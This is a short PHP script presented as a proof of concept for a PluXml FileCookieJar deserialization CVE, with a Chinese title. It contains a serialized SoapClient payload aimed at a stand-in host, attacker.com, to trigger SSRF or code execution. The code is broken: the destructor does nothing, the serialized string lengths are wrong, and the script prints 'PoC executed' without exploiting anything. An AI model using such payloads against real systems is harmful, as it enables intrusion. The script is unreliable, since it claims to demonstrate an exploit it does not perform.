CVE-2025-15438 PluXml FileCookieJar反序列化漏洞

<?php // CVE-2025-15438 PoC - PluXml FileCookieJar Deserialization // This PoC demonstrates the deserialization vulnerability in PluXml class FileCookieJar { private $file; public function __construct($file) { $this->file = $file; } // Magic method called when object is destroyed public function __destruct() { // Vulnerable: unserializing user-controlled data if (isset($this->file)) { // This would trigger deserialization // In real attack, $this->file contains malicious serialized data } } } // Example malicious payload using PHP built-in classes // This creates a serialized object that can trigger SSRF or RCE $payload = 'O:13:"SoapClient":3:{s:3:"uri";s:10:"http://attacker.com";s:8:"location";s:10:"http://attacker.com";s:15:"_stream_context";i:0;}'; // Simulated attack vector // In vulnerable version, this would be passed as 'File' parameter $maliciousFile = $payload; // Create vulnerable object $jar = new FileCookieJar($maliciousFile); // When script ends, __destruct() is called, triggering deserialization echo "PoC executed - Object created with malicious File parameter\n"; ?>